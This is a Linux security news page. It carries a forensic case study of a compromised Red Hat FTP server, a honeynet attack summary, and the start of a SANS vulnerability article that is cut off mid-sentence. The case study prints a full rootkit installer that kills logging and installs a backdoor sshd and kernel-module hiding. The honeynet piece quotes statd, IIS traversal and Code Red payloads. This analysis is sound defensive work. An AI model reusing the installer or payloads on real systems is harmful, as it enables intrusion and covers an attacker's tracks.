Stay Ahead With Linux Security Features
threat detection scalability Building a SIEM is easier than scaling one. Most open-source deployments start as a simple "all-in-one" server. It is easy to set up, but that design rarely survives the transition from a lab to a production workload. . A SIEM watching 20 endpoints is not doing the same job as one watching 500. More endpoints mean more logs; more logs require more storage; more storage makes search heavier. Eventually, the very architecture that made your lab easy to deploy becomes the reason your production...
Jun 04, 2026
security advisory apache A newly disclosed attack technique called HTTP/2 Bomb is drawing attention because it targets the software that sits at the front of much of the Linux internet. Apache HTTP Server, NGINX, Envoy, and the ingress layers that many Kubernetes environments depend on can be forced into consuming disproportionate amounts of memory using relatively small amounts of attacker traffic. . For Linux administrators, the concern is not the HTTP/2 protocol itself. It is the possibility that a single...
Jun 04, 2026
security advisory important The compromise of Nx Console shows how much infrastructure now sits behind a single developer account. GitHub repositories, CI/CD pipelines, container build systems, Terraform projects, Kubernetes deployments. None of those systems was the initial target. The workstation was. . Attackers did not need a Linux privilege escalation bug or a remote code execution chain. They needed developers to trust a tool they were already using. For many organizations, that was enough. What Happened? Federal...
Jun 03, 2026
security advisory open-source You remove the malware. You rotate the compromised credentials. You patch the original vulnerability and close the ticket. Two weeks later, the attacker is back. . What happened? You didn't lose the battle at the exploit; you lost it at the cleanup. In many modern Linux intrusions, the malware you found wasn't the main problem—it was the fallback mechanisms left behind. These hooks quietly restore attacker access the moment you look away. If you clean a host but miss these persistence layers,...
Jun 02, 2026
security advisory Red Hat Researchers investigating a campaign now tracked as Miasma found that more than 30 packages in Red Hat's @redhat-cloud-services npm namespace had been altered to deliver credential-stealing malware. . The packages weren't being used to deploy ransomware or sabotage systems. From what has been reported so far, the objective appears to have been much simpler: collect credentials from developer environments and use that access elsewhere. GitHub tokens, cloud credentials, SSH keys, and other...
Jun 02, 2026
Refine features
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Loading...
Explore Latest Linux Security features
We found -1 articles for you...
102
network securityincident responsethreat detectionFTP Server Incident: Compromise Analysis and Forensics Investigation
This article presents a case study of a company network server compromise. The attack and other intruder's actions are analyzed. Computer forensics investigation is undertaken and results are presented. The article provides an opportunity to follow the trail of incident response for the real case. . Case Study Introduction This is a case study of a medium-sized computer hardware online retailer that understands the value of network and host security, since its business depends upon reliable and secure online transactions. Its internal network and DMZ setup was designed with security in mind, verified by outside experts, protected by latest in security technology and monitored using advanced audit trail aggregation tools. Following the philosophy of defense-in depth, two different firewalls and two different intrusion detection systems were used. The DMZ setup was of the bastion network type with one firewall separating the DMZ from the hostile Internet and another protecting internal networks from DMZ and Internet attacks. Two network IDS were sniffing the DMZ traffic. In the DMZ the company has gathered the standard set of network servers (all running some version of UNIX or Linux): web, email, DNS servers and also a dedicated FTP server, used to distribute hardware drivers for the company inventory. The FTP server, running Red Hat 7.2, is the subject of this account. This server was the latest addition to the company network. Let's shed some more light on the DMZ setup, since it provides an explanation why the attack went the way it did. Outside firewall (Firewall 1 on the picture) provided NAT services and only allowed access to a single port on each of the DMZ hosts. Evidently, those were TCP port 80 on web server, TCP port 25 on the mail server, TCP and UDP ports 52 on DNS server and TCP ports 21 and 20 on the ftp server. No connections to outside machines were allowed from any DMZ machine. Internal firewall blocked all connections from the DMZ to internal LAN (noexceptions) and allowed connections that originated from the internal LAN to DMZ machines (only specified ports for management and configuration). The second firewall (Firewall 2 on the diagram) also worked as application-level proxy for web and other traffic (no direct connections to the Internet from internal LAN were allowed). In addition, each DMZ machine was hardened and ran a host-based firewall, only allowing connections on a single specified port (two for the FTP) as mentioned above from outside and NOT from other DMZ machines. While it is unwise to claim that their infrastructure was unassailable, it is quite reasonable to say that it was "better than most". On Monday morning, company support team was alerted by a customer who was trying to download a drive update. He reported that FTP server "was not responding" to his connection attempts. Upon failing to login to FTP server remotely via secure shell, the support team member walked to a server room only to discover that the machine crashed and is not able to boot. The reason was simple - no operating system was found. At that point, their incident response plan was triggered into action. Since FTP server was not of critical business value, it was decided to complete investigation before redeploying the server and to utilize other channels for software distribution temporarily. The primary purpose of investigation was to learn about the attack in order to secure the server against recurrence. The secondary focus was to trace the actions of the attacker. Diagnosing the Evidence The main piece of evidence for my investigation was a 20 GB disk drive. No live forensics was possible since the machine crashed when running unattended. In addition, we had a set of log files from firewall and IDS, all nicely aggregated by netForensics ( ) software. The investigation started from reviewing the traffic patterns. The thing that attracted the most attention was an IDS report with 3 high priority events - recentWU-FTP attack at about 02:29 on April 1. It appears that IDS signature base was updated with the new attack signatures, while the company FTP server FTP daemon software was not. Considering the above network infrastructures, we hoped there will be no more unpleasant security surprises. There were: syslog on the FTP server was not set for remote logging. Thus, no first hand attack information was available from the FTP server itself. By analyzing the connection data from the machine that launched an attack, it was found that: The intruder probed the Em outside visible IP addresses at least several hours prior to the incident. Upon compromising the FTP server, the intruder tried to connect to other DMZ hosts and to some machines on the outside. All such attempts were unsuccessful. The attacker has uploaded a file to the FTP server. The last item was another unpleasant surprise. How attacker was able to upload the file? The company system admin team was questioned and the unpleasant truth came out: the FTP server had a world-writable directory for customers to upload the log files used for hardware troubleshooting. Unrestricted anonymous uploads were possible to the "incoming" directory and it was set up in the most insecure manner possible: anonymous users were able to read any of the files uploaded by other people. Among other things, this presents a risk of FTP server being used to store pirated software by outside parties. After network analysis part (it was easy due to netForensics advanced data correlation capabilities) is was time for a hard drive forensics. The disk was found to contain three partitions, "/", "/usr" and "/home". After the disk was connected to a forensics workstation, images of all partitions were taken: # dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1 (and same for the two other partitions) Upon mounting the partitions # mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1 it was found that allfiles were deleted. Then, it was decided to look for fragments of log files (originally in /var/log) to confirm the nature of attack. The command: # strings /home/hacked-ftp-hdc1 | grep 'Apr 1' took a while to run on a 2GB partition. It returned the following log fragments from the system messages log, the network access log and the FTP transfer log (fortunately, FTP server was using verbose logging of all transfers): System log: Apr 1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 00:17:19 ftp ftpd[27649]: lost connection to 192.1.2.3 [192.1.2.3] Apr 1 00:17:19 ftp ftpd[27649]: FTP session closed Apr 1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], x@ Apr 1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver. Apr 1 02:30:07 ftp ftpd[27731]: FTP session closed It indicates that attacker was first looking around with a browser (standard password mozilla@). Then supposedly the exploit was run (password x@). The line about mailserver looks really ominous. Apr 1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.1.2.3 Apr 1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.1.2.3 Apr 1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec) Apr 1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.1.2.3 Apr 1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec) Apr 1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec) Apr 1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.1.2.3 Apr 1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.1.2.3 Apr 1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec) The above log excerpt shows that attacker has spent some time snooping around the ftp server directories. Mon Apr 1 02:30:04 2002 2 192.1.2.3 262924 /ftpdata/incoming/mount.tar.gz b _ i a x@ ftp 0 * c That shows the upload of some tools. All downloads initiated from the FTP server to the attacker's machine have failed due to rules on the company outside firewall. But by that time the attacker already had a root shell from the exploit. Initial Conclusions Two conclusions can be drawn from the above data. First, the server was indeed compromised from outside the perimeter, using the recent FTP exploit (see and 2001 CERT Advisories for more details) using a machine at 192.1.2.3 (address sanitized!). Second, the attacker managed to get some files onto the victim host. Tracking the Rootkit We suspected that the file "mount.tar.gz" contained a rootkit. We were interested whether the attacker managed to install it and what was the tool functionality. Thus the hunt for the rootkit began. Before sending the heavyweights (i.e. forensics toolkits) into battle, the strings file (i.e. the output of "strings /home/hacked-ftp-hdc1") was grepped for various interesting words. Another productive way to find stuff (text-only) is to load the entire strings output in your favorite UNIX pager program (such as "less") and then look for interesting keywords. The latter method allows one to look at strings that surround the interesting one. The apparent search keywords were "mount.tar.gz", attacker's IP address (192.1.2.3), "incoming" (for the path name to the FTP directory) and some others. The next piece of evidence that surfaced was a ncftp log fragment. NcFtp is a UNIX/Linux FTP client, that preserves its own log file of outbound connections for the purposes of bookmarking them for easy return. SESSION STARTED at: Mon Apr 1 02:21:17 2002 Program Version: NcFTP 3.0.3/635 April 15 2001, 05:49 PM Library Version: LibNcFTP 3.0.6 (April 14, 2001) Process ID: 27702 Platform: linux-x86 Uname: Linux|ftp|2.4.7-10|#1Thu Sep 6 17:27:27 EDT 2001|i686 Hostname: localhost.localdomain (rc=4) Terminal: dumb 00:21:17 Resolving 192.1.2.3... 00:21:17 Connecting to 192.1.2.3... 00:21:17 Could not connect to 192.1.2.3: Connection refused. 00:21:17 Sleeping 20 seconds. There were several of those messages, indicative of several failed connection attempts. netForensics network traffic data also shows the attacker trying to ping the outside hosts (also unsuccessful). Next keyword search in strings output brought much larger fish - a list of files in rootkit and its installation script. Unfortunately, it turned out to be the high point of the investigation. Evaluating the Rootkit List of rootkit files: a.sh adore-0.42.tar.gz sshutils.tar.gz utils.tar.gz Below, we provide a complete rootkit installation script with added comments (likely, a.sh from the above list): #!/bin/sh # seting paths PATH=".:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin: /usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin: /opt/gnome/bin" Make sure that history file in shell in not written: # unseting the histifle unset HISTFILE export HISTFILE=/dev/null Prepare for installation: # making the directories echo "[Facem directoarele]" uname -r |awk '{print $1}'|while read input ;\ do mkdir /lib/modules/$input/.modinfo ; done sleep 1 if [ -d /etc/sysconfig/console ];then echo "Dir found" else mkdir /etc/sysconfig/console echo "/etc/sysconfig/console created" if [ -d /usr/info/.1 ];then echo "Dir found" else mkdir /usr/info/.1 echo "files dir created" sleep 1 Unpack all components. The word below means "unarchiving" in Romanian: # dezarhivam echo "[dezarhivam]" tar zxvf adore-0.42.tar.gz sleep 3 tar zxvf sshutils.tar.gz sleep 3 tar zxvf utils.tar.gz The section below makes sure that logs are not written by killingthe daemon and making the log files immutable by setting the file attribute. # read only logs until we finish chattr +ia /var/log/messages chattr +ia /varlog/secure chattr +ia /var/log/maillog chattr +ia /root/.bash_history #killing syslogs killall -9 syslogd killall -9 klogd The section below deploys and starts backdoor sshd daemon. #copying ssh files/confs echo "[SSH part]" cd ../sshutils mv .napdf /etc/sysconfig/console/ mv .racd /etc/sysconfig/console/ mv .radd /etc/sysconfig/console/ mv .seedcf /etc/sysconfig/console/ mv nscd /usr/local/bin chown root.root /usr/local/bin/nscd cd /tmp/mount # starting ssh /usr/local/bin/nscd -q The adore Linux kernel module is deployed to hide malicious hacker resources. #kernel module cd /tmp/mount/adore ./configure make sleep 27 #copiem modulele uname -r |awk '{print $1}'|while read input ;do cp adore.o /lib/modules/$input/.modinfo/arpd.o;done uname -r |awk '{print $1}'|while read input ;do cp cleaner.o /lib/modules/$input/.modinfo/arpd-use.o;done uname -r |awk '{print $1}'|while read input ;do cp ava /lib/modules/$input/.modinfo/a;done #inseram modulele uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd.o;done uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd-use.o;done #hiding directories uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /etc/sysconfig/console;doneuname -r |\ awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /usr/info/.1;done uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a i `cat /etc/sysconfig/console/.piddr`;done Create a boot-up script and (for unclear reason) updating file locations for search (updatedb). # utils # copiing boot file cd /tmp/mount cp randoms /etc/rc.d/init.d/ # next faze updatedb& sleep 1 cd /root chattr +ia .bash_history Denial of service tools aredeployed next. Hey, you never know what might lurk in the cyberworld... Some tools were not identified (e.g. fsch2). cd /tmp/mount/utils mv fsch2 /etc/cron.daily/ mv imp /usr/info/.1 mv slc /usr/info/.1 mv lil /usr/info/.1 mv sense /usr/info/.1 Make sure adore and backdoor sshd are started on bootup. # sys configs echo "/usr/local/bin/nscd -q" > > /etc/rc.d/rc.sysinit echo "/etc/rc.d/init.d/randoms > /dev/null &" > > /etc/rc.d/rc.sysinit Next, remove evidence and put the logs back to normal. chattr +ia /etc/rc.d/rc.sysinit #ending uname -r |awk '{print $1}'|while read input ; \ do /lib/modules/$input/.modinfo/a u /tmp/mount/adore;done rm -rf /tmp/mount* /etc/rc.d/init.d/syslog start & sleep 5 chattr -ia /var/log/messages chattr -ia /var/log/secure chattr -ia /var/log/maillog echo "DONE" It is worthwhile to note, that comments within the rootkit installation script are in Romanian. For whatever reason, several of other known rootkits are also of Romanian origin (e.g. ). Next section of strings file contained more scriptlets used by the rootkit, headers from some denial of service tools (imp flooder, slice DoS tool, look them up at packetstorm), parser for LinSniffer logs (another old favorite of script kiddies) and a hunk of adore LKM source code with author's headers intact. In addition, a fragment of what appears to be a SSH backdoor configuration file was found. Overall, it turned out to be a pretty low-tech rootkit, using only publicly available components. The next goal was to recover all of the rootkit files. While none of the components appear to use new penetration technology, it is still of interest. For example, usage of kernel-level backdoor (adore) is a mainstream rootkit shows that casual system administrators will likely miss it on their systems. Utilizing Forensics Tools Coroner's toolkit tct (see and The Coroner's Toolkit (TCT) ) was then used to look for the rootkit. We also tried usingrecently released computer forensics toolkit - TASK by Brian Carrier from @Stake. TASK is an improvement over tct since it integrates tct-utils (that can be used to built better malicious activity timeline) with core tct functionality. TASK also integrates with "autopsy" forensic browser to provide a nice interface for file browsing, recovery and timeline creation on multiple disk images. Unfortunately, most of the tct and TASK toolkits functionality will not work on a Red Hat 7.2 machine. Due to certain changes in filesystem code, the inode data (that was used to recover deleted files) is now zeroed out. The tips from Linux Undeletion HOWTO ( ) and tools like recover ( ), e2undel (the e2undel home page) based on the above HOWTO will all fail to recover a single file. Excellent utilities were rendered unusable. However, it is not a bad thing for many people, computer forensic examiners excluded, since deleted data should probably stay deleted. Fortunately, the tct kit also implements a more painful way to recover the files - but it will work on Red Hat 7.2 with zeroed inodes. Unrm/lazarus tool provides a good chance to recover at least something. Lazarus looks at all the disk blocks, determines their type (such as text, email, C code, binary, archive or something else) using UNIX "file" command. It also concatenates consecutive blocks of the same type together, assuming that they are pieces of the same file. This algorithm will most likely to bring back text data than binary data though. To run the tool, one first need to create a file containing all the unallocated space from the partition: ./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 > \ /home/hacked-ftp-hdc1.unrm Then lazarus tool is then run: ./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm It takes several hours to process the 2GB partition. As a result, two directories are formed: "blocks" contains the recovered files (or just blocks) "www" contains a HTML map of all therecovered files (if desired, the output can be looked at with a browser). In our investigation we were looking for an archive containing the rootkit or any of its components. There are many ways to analyze the "blocks" directory (all are slow, some are excruciatingly slow). To look for gzip-compressed files we do: # find blocks -type f -print | xargs file {} |\ grep gzip > /home/hacked-ftp-hdc1.blocks-gzipped Since we also know the size of the rootkit (reported in the above fragment of the FTP transfer log). # awk -F ':' '{print $1}' /home/hacked-ftp-hdc1.blocks-gzipped |\ xargs -i ls -l {} Unfortunately, nothing was found. More data slicing and dicing follows, also with zero results. For example, below we show an attempt to find more C source files: # find blocks -type f -print | xargs file {} | grep 'C program text' Nothing related to the incident is found by this and other commands. As a last resort, an even newer forensics tool called "foremost" was used. It was recently released [reportedly] by USAF Office of Special Investigations. "Foremost" uses customizable binary data signatures to look for files within the disk image file. I created a signature for the tool to look for GNU gzip archives since the rootkit and its components (shown above) were all gzipped tar archives. The USAF tool brilliantly did its job where TCT failed! Two of the rootkit components were recovered (adore.tar.gz and utils.tar.gz). Adore kit contained a standard adore LKM v.0.42 (as distributed by TESO). Utils package contained the following five binaries: -rw-r--r-- 1 root root 14495 Jan 22 23:37 fsch2 -rwxr-xr-x 1 root root 8368 Aug 7 2000 imp -rwxr-xr-x 1 root root 7389 Jan 15 2001 lil -rwxr-xr-x 1 root root 4060 Jun 25 2000 sense -rwxr-xr-x 1 root root 15816 Oct 13 2000 slc Imp and slc were identified above as DoS tools. Lil turned out to bea sniffer. Its string output matched the one shown on the . Sense was the Perl parser for sniffer output (also found earlier from strings of the whole disk image). Fsch2 remains a mystery. In the rootkit installation file it is set to run daily from cron. It has strings indicative of network connectivity (socket, bind, listen, accept, etc), the ever-ominous /bin/sh and the string that looks like a password. It might be some sort of network backdoor. At that point, investigation was closed. Attacker's ISP was notified, and no action was taken by them (normal practice). Just one of those throw-away dial-up accounts... In the second part of the article, we will discuss the security lessons this incident teaches us. About the Author Anton Chuvakin, Ph.D. is a Senior Security Analyst with netForensics ( ), a security information management company that provides real-time network security monitoring solutions.. Our organization recently dealt with a serious network security breach involving a compromised FTP server, raising concerns over data integrity and security.. FTP Security, Forensics Investigation, Network Compromise, Red Hat Incident, Incident Response. . Anthony Pell
Jan 29, 2010
•
102
intrusion detectionincident responsenetwork attackLinux Honeynet Incident Responses: Analyzing Attacks and Observations
Among other benefits, running a honeynet makes one acutely aware about "what is going on" out there. While placing a network IDS outside one's firewall might also provide a similar flood of alerts, a honeypot provides a unique prospective on what will be going on when a related server is compromised used by the intruders. . As a result of our research, many gigabytes of network traffic dumps are piling up on the hard drives, databases are filling with alerts, rootkits and exploit-pack collections are growing. This paper is an attempt to informally summarize what was happening to our exposed Linux machine connected to the Internet. The moment is even more appropriate since we are now changing the platform of the victim machine.. Our Linux honeypot survived dozens, if not more, system compromises including several massive outbound denial-of-service attacks (all blocked by the firewall!), major system vulnerability scanning and serving as an Internet Relay Chat (IRC) server for Romanian hackers - and other exciting stuff. I. Battleground: services and ports First, let us summarize the common exploits hurled at the exposed Linux machine. It won't likely be news to people who monitor activity outside their firewalls, but it may provide some insight into current security threats to others. Scans, "innocuous" connection attempts and various spam (on port TCP 25 and UDP 13x) are not included. a. RPC statd - the attack is SO ancient, that one might think that nobody will hope to find a vulnerable box with that flaw. After all, who in his right mind will be fielding (for example) Linux Red Hat 6.0 when half a dozen Red Hat releases have come out since that time. We are talking August 2000 - it was indeed during the last millennium. Heavy scanning for this vulnerability was going on all through 2001 and even parts of 2002. One might think that all machines with that hole are either secured by the owners or by the intruders, upgraded or taken offline. However, lots of "hopefuls" are still trying the longcemented "door". Thus, the log files continue to be peppered with the classic: Mar 4 11:51:31 victim 29> Mar 4 11:51:31 rpc.statd[493]: gethostbyname error for ^X...^X...^Z...^Z...%8x%8x%8x%8x% 8x%8x%8x%8x%8x%62716x%hn%51859x%hn................................................ .................................................................................. .................................................................................. .................................................................................. .................................................................................. .................................................................................. .................................................................................. ....................../1..|Y.A^P.A^H...A^D.....^A.f...^B.Y^L.A^N..A^H^P.I^D.A^D^L. ^A.f...^D.f...^E0..A^D.f......1..?.. and snort continue spewing forth the good old: Jan 24 20:46:41 bastion snort: [1:1282:1] RPC EXPLOIT statdx [Classification: Attempted Administrator Privilege Gain] [Priority: 1]: {UDP} 10.0.0.10:931 -> 1.2.3.4:1024 And here is how this attack looks to the anomaly-based Bro NIDS, recently deployed in our honeynet: 1047644757.152094 10.0.0.10/939 > 1.2.3.4/portmap: bad_RPC_program 1047644757.152094 10.0.0.10/939 > 1.2.3.4/portmap: bad_RPC Bro detects a different stage of the same attack. b. WU-FTPD - this attack can also be categorized as "Stone Agey", but it is still very popular among the amateur attackers. It is this attack that led to those impressive statistics publicized by the Project Honeynet - default Red Hat box will be "owned" within 3 days from being connected to the internet. An extremely popular choice, this attack is used in countless autorooters, exploit scanners and other "tools for beginners". Here is how the attack looks to snort: Jan 26 20:37:16 bastion snort: [1:1378:7] FTP wu-ftp file completionattempt { [Classification: Misc Attack] [Priority: 2]: {TCP} 10.0.0.10:33761 -> 1.2.3.4:21 Jan 26 20:37:16 bastion snort: [1:1622:5] FTP RNFR ././ attempt [Classification: Misc Attack] [Priority: 2]: {TCP} 10.0.0.10:33761 -> 1.2.3.4:21 and to Bro: 1048402337.496125 FTP_ExcessiveFilename 10.0.0.10/1641 > 1.2.3.4/ftp #94 excessive filename: 00000000000000000000000000000000..[494].. c. IIS exploits - we have observed dozens of different Unicode strings and .ida requests aimed to hurt the Microsoft IIS web server. Starting from the classic one used by the worms in 2001 to the more obscure modern variant: Here is the excerpt of the HTTP protocol decode by Bro: /scripts/..%2f../winnt/system32/cmd.exe?/c+dir /scripts/..%35c../winnt/system32/cmd.exe?/c+dir /scripts/..%5c%5c../winnt/system32/cmd.exe?/c+dir /scripts/..%5c../winnt/system32/cmd.exe?/c+dir /scripts/root.exe?/c+dir /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c. ./winnt/system32/cmd.exe?/c+dir /MSADC/root.exe?/c+dir /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%uc bd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090 %u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a It is obvious that those cannot affect the Linux Apache web server of the honeypot and are provided here only due to their extreme volume. It is interesting to note that some IP addresses receive much more than their share of such hits. This phenomenon is notexplained yet. d. OpenSSL flaw that allows the non-root access is a very popular choice as of today. While not giving root, it seemingly helps the script kiddies to learn about local exploits. It is suspected that its popularity is in part due to readily available and reliable exploit openssl-too-open (...) Here is the log trace of the openssl hit in Apache errror_log: [Mon Mar 3 06:40:48 2003] [error] mod_ssl: SSL handshake failed (server ns1.bkwconsulting.com:443, client 10.0.0.10) (OpenSSL library error follows) [Mon Mar 3 06:40:48 2003] [error] OpenSSL: error:1406908F:lib(20):func(105):reason(143) And here is the snort message: Feb 2 00:45:53 bastion snort: [1:1887:1] EXPERIMENTAL WEB-MISC OpenSSL Worm traffic [Classification: Web Application Attack] [Priority: 1]: {TCP} 10.0.0.10:2328 -> 1.2.3.4:443 e. MS-SQL Slammer, while being called a flash worm, is still knocking on the UDP 1434. The volume has subsided as most of the affected hosts are taken offline, butol Slammer is till there, slamming away at closed ports of the Linux honeypot. Here is what snort says upon seeing it: Mar 10 22:01:11 bastion snort: [1:2003:2] MS-SQL Worm propagation attempt [Classification: Misc Attack] [Priority: 2]: {UDP} 10.0.0.10:1140 -> 1.2.3.4:1434 f. Here are some other less frequent attacks that flash by. A number of hits against vulnerable PHP were observed. The attack did not succeed and was seen only once or twice: Mar 10 14:57:15 bastion snort: [1:1425:6] WEB-PHP content-disposition [Classification: Web Application Attack] [Priority: 1]: {TCP} 10.0.0.10:57774 -> 1.2.3.4:80 Mar 10 14:57:15 bastion snort: [1:1423:7] WEB-PHP content-disposition memchr overlfow [Classification: Web Application Attack] [Priority: 1]: {TCP} 10.0.0.10:57777 -> 1.2.3.4:80 g. What is not there? Old bind attacks (very popular in 1999) are gone, hopefully for good, and new ones (based on the recent Bind bigs) failed tomaterialize. SSH bugs are not actively exploited, while version surveying is observed pretty often. It is not clear why this is the case. Here is a summary of all events and attacks: The color indicates alarm severity. It resembles what is reported by DShield.org. Web attacks (80,443) "top the charts", and are followed by the recent MS-SQL hits (1434) and FTP (21) - the all time favorite. Proxy scans (1080, 3128,8080) are also very popular. Strangely, SNMP (161,162) is also in the picture, though appear to be just probes and not exploit attempts. II. Artifacts - exploits, rootkits and tools Intruders who visit our friendly neighborhood honeynet, rarely come empty-handed. They bring all sorts of gifts, such as exploit scanners, autorooters, rootkits, DoS tools and other goodies. Most of the captured kits are very simple, use only publicly available technology and carry all the signs of being created by unskilled people. They often corrupt the system and utilize such amazingly "stealthy" capabilities as using the root directory of the system to store their files or changing the root password ("owned means owned, right?") Exploits and automated exploitation tools, while seeming impressive, use very old attacks (such as those described above) and are not even attempting to hide their activities. Most of those tools are designed to scan huge pools of IP addresses for one or two vulnerabilities, manifesting the ultimate "opportunity hack" of going for the "low-hanging fruit". However, new and innovative tools do get brought in by the tide. For example, the covert channeling binary or the IPv6 tunnel tool were discovered by the Honeynet Project. III. Example Incidents Here are brief descriptions of several incidents that recently occurred in our honeynet. The classic WU-FTPD incident starts from an anonymous login to the FTP server. Then in a few minutes or hours the server is hit by the TESO "wurm" exploit. It has a recognizable signature of trying to create a directory 7350 (TESO). In a fewseconds, intruder tries to get his rootkit from a drop site (often some free storage site or even a Yahoo account) which is then deployed. Most observed rootkits start a ssh daemon on high port as a main backdoor method. On the next session (which occurs within hours or even days), we often see him getting scanners and trying to exploit more machines. The more recent openssl incidents are more interesting since the attacker does not have root upon breaking into the system (such as, user "apache"). One might think that owning a system with no "root" access is useless, but we usually see active system use in these cases. Here are some of the things that such non-root attackers do on such compromised systems: 1."IRC till you drop" Installing an IRC bot or bouncer is a popular choice of such attackers. Several IRC channels dedicated entirely for communication of the servers compromised by a particular group were observed on several occasions. Running an IRC bot does not require additional privileges. 2."Local exploit bonanza" Throwing everything they have at the Holy Grail of root access seems common as well. Often, the attacker will try half a dozen different exploits trying to elevate his privileges from mere "apache" to "root". 3. "Evil daemon" A secure shell daemon can be launched by a non-root user on a high numbered port. This was observed in several cases. In some of these cases, the intruder accepted the fact that he will not have root. He then started to make his new home on the net more comfortable by adding a backdoor and some other tools in "hidden" (".. " and other non printable names are common) directories in /tmp or /var/tmp. 4. "Flood, flood, flood" While spoofed DoS is more stealthy and harder to trace, many of the classic DoS attacks do not require root access. For example, ping floods and UDP floods can be initiated by non-root users. This capability is sometimes abused by the intruders, using the fact that even when the attack is traced the only found source would be acompromised machine with no logs present. 5. "More boxes!" Similar to a root-owning intruder, those with non-root shells may use the compromised system for vulnerability scanning and widespread exploitation. Many of the scanners, such as openssl autorooter, recently discovered by us, do not need root to operate, but is still capable of discovering and exploiting a massive (thousands and more) system within a short time period. Such large networks can be used for devastating denial of service attacks (for example, such as recently warned by CERT). Worms and other automated entities are also common. We observed many different OpenSSL worms (for their taxonomy, see this), including some with novel components such as Windows OpenSSL exploit, DoS agents, IRC bot deployment by the worm, automated local exploitation via ptrace bug, different backdoors, etc. Windows worms are also on the prowl. CodeReds, MS SQL and others are not gone. Their traces surface in the logs on the regular basis. They seem to be leading their own lives with ups and downs, sudden bursts of activity, and never seem to go away. Many other "fun things" are also hitting the shores of our honeynet. Among them are such beasts as the packets from 255.255.255.255, port 31337, various kinds of spam (email, MS RPC, web forms), a lot of various reconnaissance attempts (mostly scans and pings). Scans for proxies (1080,8080, 3128) are also extremely popular, as mentioned above. Anton Chuvakin, Ph.D., GCIA, GCIH is a Senior Security Analyst with netForensics, a security information management software company that provides real-time network security management solutions. His areas of infosec expertise include intrusion detection, UNIX security, forensics, honeypots, etc. In his spare time he maintains his security portal Anton Chuvakin, Ph.D., GCIA, GCIH, GCFA Information Security Publications. . Investigations have uncovered terabytes of data packets showcasing multiple events and intrusions within our Unix honeypot.. Honeynet Research, AttackObservations, Incident Responses, Intrusion Detection, Security Threats. . Brittany Day
Apr 22, 2003
•
102
security advisorynetwork protectionsecurity flawsTop Security Risks Identified: Mitigation for Linux Systems
Attackers are still compromising servers with well-known attacks. General awareness can assist the busy administrators and users to protect their systems from these kinds of attacks. SANS provides a list of the Top 20 most common security vulnerabilities, how to identify each, and what can be done to protect against these vulnerabilities.. "He got into the UUCP account. No password protection. Wide open. ...Worse, Elxsi had its UUCP account set up with system privileges, It took the hacker only a minute to realize that he'd stumbled into a privileged account. ...He didn't lose any time. He edited the password file, and added a new account, one with system manager privileges. Named it Mark. "Keep it bland," I thought." That is an excerpt from the book Cuckoo's Egg published in 1989. As far as the principles of how the attacker gained access to the system above, nothing much has changed since that time. Attackers are still exploiting the most well-known vulnerabilities in computer systems. "This can be attributed to the fact that attackers are opportunistic, take the easiest and most convenient route, and exploit the best-known flaws with the most effective and widely available attack tools."(www.sans.org) This article is nothing new but it has to be reinforced every now and then. Many administrators are already overworked with other system administration tasks or keeping a system up and running. Also, administering in a large network environment with a small computer staff doesn't help the issue of keeping systems secure. Attackers know that and are actively exploiting it. The availability of attack tools and people posting bugs in software only puts an urgency on keeping systems secure. In his book Secrets and Lies Bruce Schneier stated very simply that the Internet is " ...a perfect medium for propagating successful attack tools. Only the first attacker has to be skilled; every one else can use his software."(Schneier) The availability of the Internettoday is a blessing and a curse (though only a small portion is a curse). The blessing is 